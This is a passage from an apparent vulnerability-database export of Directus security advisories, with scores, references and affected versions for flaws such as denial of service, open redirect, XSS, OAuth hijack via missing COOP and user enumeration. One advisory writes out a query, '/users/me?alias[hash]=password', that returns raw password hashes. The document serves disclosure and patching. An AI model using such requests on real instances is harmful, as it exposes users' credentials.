- **Service degradation or outage:** Database connection pool exhaustion prevents all Directus operations for all users
- **Storage I/O saturation:** Concurrent file writes can overwhelm disk I/O
- **SMTP resource exhaustion:** Concurrent SMTP verification calls may overwhelm the mail server
- **No authentication required:** Any network-accessible attacker can trigger this condition
- **Single-request impact:** A single request is sufficient to cause significant resource consumption

## Credit

This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
references
0
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
1
reference_url https://github.com/directus/directus/security/advisories/GHSA-6q22-g298-grjh
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/security/advisories/GHSA-6q22-g298-grjh
2
reference_url https://github.com/advisories/GHSA-6q22-g298-grjh
reference_id GHSA-6q22-g298-grjh
reference_type
scores
url https://github.com/advisories/GHSA-6q22-g298-grjh
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases GHSA-6q22-g298-grjh
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-trbn-m8sj-ffa4
35
url VCID-u5pc-6e92-zyev
vulnerability_id VCID-u5pc-6e92-zyev
summary
Directus allows redacted data extraction on the API through "alias"
## Summary
A user with permission to view any collection using redacted hashed fields can get access the raw stored version using the `alias` functionality on the API.
Normally, these redacted fields will return `**********` however  if we change the request to `?alias[workaround]=redacted` we can instead retrieve the plain text value for the field.

## Steps to reproduce
- Set up a simple role with read-access to users.
- Create a new user with the role from the previous step
- Assign a password to the user

The easiest way to confirm this vulnerability is by first visiting `/users/me`. You should be presented with a redacted JSON-object.
Next, visit `/users/me?alias[hash]=password`. This time, the returned JSON object will included the raw password hash instead of the redacted value.

## Workaround
This can be avoided by removing permission to view the sensitive fields entirely from users or roles that should not be able to see them.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-34708
reference_id
reference_type
scores
0
value 0.00324
scoring_system epss
scoring_elements 0.55654
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-34708
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/e70a90c267bea695afce6545174c2b77517d617b
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-05-15T15:21:26Z/
url https://github.com/directus/directus/commit/e70a90c267bea695afce6545174c2b77517d617b
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-p8v3-m643-4xqx
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-05-15T15:21:26Z/
url https://github.com/directus/directus/security/advisories/GHSA-p8v3-m643-4xqx
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-34708
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-34708
5
reference_url https://github.com/advisories/GHSA-p8v3-m643-4xqx
reference_id GHSA-p8v3-m643-4xqx
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-p8v3-m643-4xqx
fixed_packages
0
url pkg:npm/directus@10.11.0
purl pkg:npm/directus@10.11.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-88w3-rw8u-rqea
14
vulnerability VCID-95tn-g8wd-63hq
15
vulnerability VCID-a75s-xyu6-wbcw
16
vulnerability VCID-a9tr-a8r5-57en
17
vulnerability VCID-bwww-3wep-2ydf
18
vulnerability VCID-dy98-51bk-p3fk
19
vulnerability VCID-exwx-sqry-c3gc
20
vulnerability VCID-gnzq-q9g9-m3a4
21
vulnerability VCID-hv63-3zhy-dyae
22
vulnerability VCID-j711-a6gm-b7hr
23
vulnerability VCID-kugb-dwxd-6fhe
24
vulnerability VCID-mk5k-pf2s-mfe9
25
vulnerability VCID-n7g1-hmy7-j7g9
26
vulnerability VCID-n9br-39bb-7ugt
27
vulnerability VCID-rq5y-ee4h-gkff
28
vulnerability VCID-szpk-4g6r-f3e6
29
vulnerability VCID-trbn-m8sj-ffa4
30
vulnerability VCID-uft7-5e9d-dqh8
31
vulnerability VCID-vt3b-2dr3-aka2
32
vulnerability VCID-wcaq-4zzz-qfb7
33
vulnerability VCID-wx6m-6dac-xqaj
34
vulnerability VCID-ycj2-8tqq-jyag
35
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.11.0
aliases CVE-2024-34708, GHSA-p8v3-m643-4xqx
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-u5pc-6e92-zyev
36
url VCID-vt3b-2dr3-aka2
vulnerability_id VCID-vt3b-2dr3-aka2
summary
Directus has Improper Permission Handling on Deleted Fields
### Summary
Directus does not properly clean up field-level permissions when a field is deleted. If a new field with the same name is created later, the system automatically re-applies the old permissions, which can lead to unauthorized access.

### Details
When a field is removed from a collection, its reference in the permissions table remains intact. This stale reference creates a security gap: if another field is later created using the same name, it inherits the outdated permission entry.  
This behavior can unintentionally grant roles access to data they should not be able to read or modify.

The issue is particularly risky in multi-tenant or production environments, where administrators may reuse field names, assuming old permissions have been fully cleared.

	1.	Create a collection named test_collection.
	2.	Add a field called secret_field.
	3.	Assign a role with read permissions specifically tied to secret_field.
	4.	Remove the secret_field from the collection.
	5.	Create a new field with the exact same name secret_field.
	6.	Notice that the previously assigned permissions are still active, granting access to the newly created field without reconfiguration.

### Impact

When creating new fields with the same name as previously deleted fields it may inherit the permissions of that previously deleted field. This can potentially result in accidentally giving access to this new field in existing policies.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64746
reference_id
reference_type
scores
0
value 0.00041
scoring_system epss
scoring_elements 0.12705
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64746
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/84d7636969083387164ce5d2fd15a65e11e2d0b8
reference_id
reference_type
scores
0
value 4.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:18:13Z/
url https://github.com/directus/directus/commit/84d7636969083387164ce5d2fd15a65e11e2d0b8
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-9x5g-62gj-wqf2
reference_id
reference_type
scores
0
value 4.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:18:13Z/
url https://github.com/directus/directus/security/advisories/GHSA-9x5g-62gj-wqf2
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64746
reference_id
reference_type
scores
0
value 4.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64746
5
reference_url https://github.com/advisories/GHSA-9x5g-62gj-wqf2
reference_id GHSA-9x5g-62gj-wqf2
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-9x5g-62gj-wqf2
fixed_packages
0
url pkg:npm/directus@11.13.0
purl pkg:npm/directus@11.13.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-6ggp-xn4c-gya3
3
vulnerability VCID-6mr6-u3vk-sygm
4
vulnerability VCID-bwww-3wep-2ydf
5
vulnerability VCID-exwx-sqry-c3gc
6
vulnerability VCID-hv63-3zhy-dyae
7
vulnerability VCID-n9br-39bb-7ugt
8
vulnerability VCID-rq5y-ee4h-gkff
9
vulnerability VCID-trbn-m8sj-ffa4
10
vulnerability VCID-wcaq-4zzz-qfb7
11
vulnerability VCID-ycj2-8tqq-jyag
12
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.13.0
aliases CVE-2025-64746, GHSA-9x5g-62gj-wqf2
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-vt3b-2dr3-aka2
37
url VCID-vthx-5g35-zfcp
vulnerability_id VCID-vthx-5g35-zfcp
summary
directus vulnerable to HTML Injection in Password Reset email to custom Reset URL
### Impact

Instances relying on an allow-listed reset URL are vulnerable to an HTML injection attack through the use of query parameters in the reset URL. 

### Patches

The problem has been resolved and released under version 9.23.0. People relying on a custom password reset URL should upgrade to 9.23.0 or later, or remove the custom reset url from the configured allow list.

### Workarounds

Disable the custom reset URL allow list.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2023-27474
reference_id
reference_type
scores
0
value 0.00828
scoring_system epss
scoring_elements 0.74818
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2023-27474
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/issues/17119
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value 8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-02-25T14:29:56Z/
url https://github.com/directus/directus/issues/17119
3
reference_url https://github.com/directus/directus/pull/17120
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value 8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-02-25T14:29:56Z/
url https://github.com/directus/directus/pull/17120
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-4hmq-ggrm-qfc6
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value 8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-02-25T14:29:56Z/
url https://github.com/directus/directus/security/advisories/GHSA-4hmq-ggrm-qfc6
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2023-27474
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2023-27474
6
reference_url https://github.com/advisories/GHSA-4hmq-ggrm-qfc6
reference_id GHSA-4hmq-ggrm-qfc6
reference_type
scores
url https://github.com/advisories/GHSA-4hmq-ggrm-qfc6
fixed_packages
0
url pkg:npm/directus@9.23.0
purl pkg:npm/directus@9.23.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4qw3-s2gp-9bc8
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@9.23.0
1
url pkg:npm/directus@9.23.1
purl pkg:npm/directus@9.23.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4qw3-s2gp-9bc8
8
vulnerability VCID-4uk6-xe3f-h3h9
9
vulnerability VCID-4v6n-unvz-wff3
10
vulnerability VCID-4x1w-8bx4-rqf9
11
vulnerability VCID-547q-d837-dfcz
12
vulnerability VCID-662k-n18g-mybg
13
vulnerability VCID-6ggp-xn4c-gya3
14
vulnerability VCID-6mr6-u3vk-sygm
15
vulnerability VCID-7w4r-sr7k-77g1
16
vulnerability VCID-88w3-rw8u-rqea
17
vulnerability VCID-95tn-g8wd-63hq
18
vulnerability VCID-a75s-xyu6-wbcw
19
vulnerability VCID-a9tr-a8r5-57en
20
vulnerability VCID-bjb3-z2we-rqab
21
vulnerability VCID-bwww-3wep-2ydf
22
vulnerability VCID-djhf-pqnt-6qcp
23
vulnerability VCID-dy98-51bk-p3fk
24
vulnerability VCID-exwx-sqry-c3gc
25
vulnerability VCID-hv63-3zhy-dyae
26
vulnerability VCID-j711-a6gm-b7hr
27
vulnerability VCID-km7s-b9cy-57c3
28
vulnerability VCID-mk5k-pf2s-mfe9
29
vulnerability VCID-n7g1-hmy7-j7g9
30
vulnerability VCID-n9br-39bb-7ugt
31
vulnerability VCID-rq5y-ee4h-gkff
32
vulnerability VCID-sxfr-pmr2-x7e7
33
vulnerability VCID-szpk-4g6r-f3e6
34
vulnerability VCID-trbn-m8sj-ffa4
35
vulnerability VCID-u5pc-6e92-zyev
36
vulnerability VCID-uft7-5e9d-dqh8
37
vulnerability VCID-vt3b-2dr3-aka2
38
vulnerability VCID-wcaq-4zzz-qfb7
39
vulnerability VCID-ycj2-8tqq-jyag
40
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@9.23.1
aliases CVE-2023-27474, GHSA-4hmq-ggrm-qfc6
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-vthx-5g35-zfcp
38
url VCID-wcaq-4zzz-qfb7
vulnerability_id VCID-wcaq-4zzz-qfb7
summary
Directus: Open Redirect in Admin 2FA Setup Page
### Summary

Directus is vulnerable to an Open Redirect via the redirect query parameter on the `/admin/tfa-setup` page. When an administrator who has not yet configured Two-Factor Authentication (2FA) visits a crafted URL, they are presented with the legitimate Directus 2FA setup page. After completing the setup process, the application redirects the user to the attacker-controlled URL specified in the `redirect` parameter without any validation.

This vulnerability could be used in phishing attacks targeting Directus administrators, as the initial interaction occurs on a trusted domain.

### Credits
Discovered by Neo by ProjectDiscovery (https://neo.projectdiscovery.io/)
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35411
reference_id
reference_type
scores
0
value 0.00019
scoring_system epss
scoring_elements 0.05476
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35411
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-q75c-4gmv-mg9x
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-07T13:36:55Z/
url https://github.com/directus/directus/security/advisories/GHSA-q75c-4gmv-mg9x
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35411
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35411
4
reference_url https://github.com/advisories/GHSA-q75c-4gmv-mg9x
reference_id GHSA-q75c-4gmv-mg9x
reference_type
scores
url https://github.com/advisories/GHSA-q75c-4gmv-mg9x
fixed_packages
0
url pkg:npm/directus@11.16.1
purl pkg:npm/directus@11.16.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6ggp-xn4c-gya3
1
vulnerability VCID-6mr6-u3vk-sygm
2
vulnerability VCID-bwww-3wep-2ydf
3
vulnerability VCID-rq5y-ee4h-gkff
4
vulnerability VCID-trbn-m8sj-ffa4
5
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.16.1
aliases CVE-2026-35411, GHSA-q75c-4gmv-mg9x
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-wcaq-4zzz-qfb7
39
url VCID-xgaw-nrtm-vfed
vulnerability_id VCID-xgaw-nrtm-vfed
summary
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in directus
### Impact

Unauthorized JavaScript can be executed by inserting an iframe into the rich text html interface that links to a file uploaded HTML file that loads another uploaded JS file in its script tag. This satisfies the regular content security policy header, which in turn allows the file to run any arbitrary JS.

### Patches

This was resolved in https://github.com/directus/directus/pull/12020 which is released in 9.7.0

### Workarounds

You can disable the live embed in the WYSIWYG by adding `{ "media_live_embeds": false }` to the _Options Overrides_ option of the Rich Text HTML interface.

### References

https://github.com/directus/directus/pull/12020

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [directus/directus](https://github.com/directus/directus)
* Email us at [security@directus.io](mailto:security@directus.io)
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2022-24814
reference_id
reference_type
scores
0
value 0.0043
scoring_system epss
scoring_elements 0.62803
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2022-24814
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/pull/12020
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-04-23T15:54:47Z/
url https://github.com/directus/directus/pull/12020
3
reference_url https://github.com/directus/directus/releases/tag/v9.7.0
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-04-23T15:54:47Z/
url https://github.com/directus/directus/releases/tag/v9.7.0
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-xmjj-3c76-5w84
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-04-23T15:54:47Z/
url https://github.com/directus/directus/security/advisories/GHSA-xmjj-3c76-5w84
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2022-24814
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2022-24814
6
reference_url https://github.com/advisories/GHSA-xmjj-3c76-5w84
reference_id GHSA-xmjj-3c76-5w84
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xmjj-3c76-5w84
fixed_packages
0
url pkg:npm/directus@9.7.0
purl pkg:npm/directus@9.7.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4aek-ts88-rqaj
6
vulnerability VCID-4uk6-xe3f-h3h9
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-6z4j-ev48-67hq
14
vulnerability VCID-7w4r-sr7k-77g1
15
vulnerability VCID-88w3-rw8u-rqea
16
vulnerability VCID-a75s-xyu6-wbcw
17
vulnerability VCID-bjb3-z2we-rqab
18
vulnerability VCID-bwww-3wep-2ydf
19
vulnerability VCID-djhf-pqnt-6qcp
20
vulnerability VCID-dsta-c12f-fuff
21
vulnerability VCID-dy98-51bk-p3fk
22
vulnerability VCID-exwx-sqry-c3gc
23
vulnerability VCID-hv63-3zhy-dyae
24
vulnerability VCID-j711-a6gm-b7hr
25
vulnerability VCID-km7s-b9cy-57c3
26
vulnerability VCID-mk5k-pf2s-mfe9
27
vulnerability VCID-n7g1-hmy7-j7g9
28
vulnerability VCID-n9br-39bb-7ugt
29
vulnerability VCID-q63x-ba8r-tfc1
30
vulnerability VCID-rq5y-ee4h-gkff
31
vulnerability VCID-sxfr-pmr2-x7e7
32
vulnerability VCID-szpk-4g6r-f3e6
33
vulnerability VCID-trbn-m8sj-ffa4
34
vulnerability VCID-u5pc-6e92-zyev
35
vulnerability VCID-vt3b-2dr3-aka2
36
vulnerability VCID-vthx-5g35-zfcp
37
vulnerability VCID-wcaq-4zzz-qfb7
38
vulnerability VCID-ycj2-8tqq-jyag
39
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@9.7.0
aliases CVE-2022-24814, GHSA-xmjj-3c76-5w84
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-xgaw-nrtm-vfed
40
url VCID-ycj2-8tqq-jyag
vulnerability_id VCID-ycj2-8tqq-jyag
summary
Directus: Missing Cross-Origin Opener Policy
## Summary

Directus's Single Sign-On (SSO) login pages lacked a `Cross-Origin-Opener-Policy` (COOP) HTTP response header. Without this header, a malicious cross-origin window that opens the Directus login page retains the ability to access and manipulate the `window` object of that page. An attacker can exploit this to intercept and redirect the OAuth authorization flow to an attacker-controlled OAuth client, causing the victim to unknowingly grant access to their authentication provider account (e.g. Google, Discord).

## Impact

A successful attack allows the attacker to obtain an OAuth access token for the victim's third-party identity provider account. Depending on the scopes authorized, this can lead to:
- Unauthorized access to the victim's linked identity provider account
- Account takeover of the Directus instance if the attacker can authenticate using the stolen credentials or provider session

## Patches

This issue has been addressed by adding the `Cross-Origin-Opener-Policy: same-origin` HTTP response header to SSO-related endpoints. This header instructs the browser to place the page in its own browsing context group, severing any reference the opener window may hold.

## Workarounds

Users who are unable to upgrade immediately can mitigate this vulnerability by configuring their reverse proxy or web server to add the following HTTP response header to all Directus responses: `Cross-Origin-Opener-Policy: same-origin`
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35408
reference_id
reference_type
scores
0
value 7e-05
scoring_system epss
scoring_elements 0.00573
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35408
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-8m32-p958-jg99
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-04-07T16:23:35Z/
url https://github.com/directus/directus/security/advisories/GHSA-8m32-p958-jg99
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35408
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35408
4
reference_url https://github.com/advisories/GHSA-8m32-p958-jg99
reference_id GHSA-8m32-p958-jg99
reference_type
scores
url https://github.com/advisories/GHSA-8m32-p958-jg99
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases CVE-2026-35408, GHSA-8m32-p958-jg99
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ycj2-8tqq-jyag
41
url VCID-zjtb-sh5z-h3gg
vulnerability_id VCID-zjtb-sh5z-h3gg
summary
Directus Vulnerable to User Enumeration via Password Reset Timing Attack
### Summary

A timing-based user enumeration vulnerability exists in the password reset functionality. When an invalid reset_url parameter is provided, the response time differs by approximately 500ms between existing and non-existing users, enabling reliable user enumeration.

### Details

The password reset endpoint implements a timing protection mechanism to prevent user enumeration; however, URL validation executes before the timing protection is applied. This allows an attacker to distinguish between valid and invalid user accounts based on response timing differences.

### Impact

This vulnerability violates user privacy and may facilitate targeted phishing attacks by allowing attackers to confirm the existence of user accounts.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-26185
reference_id
reference_type
scores
0
value 0.00014
scoring_system epss
scoring_elements 0.0267
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-26185
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
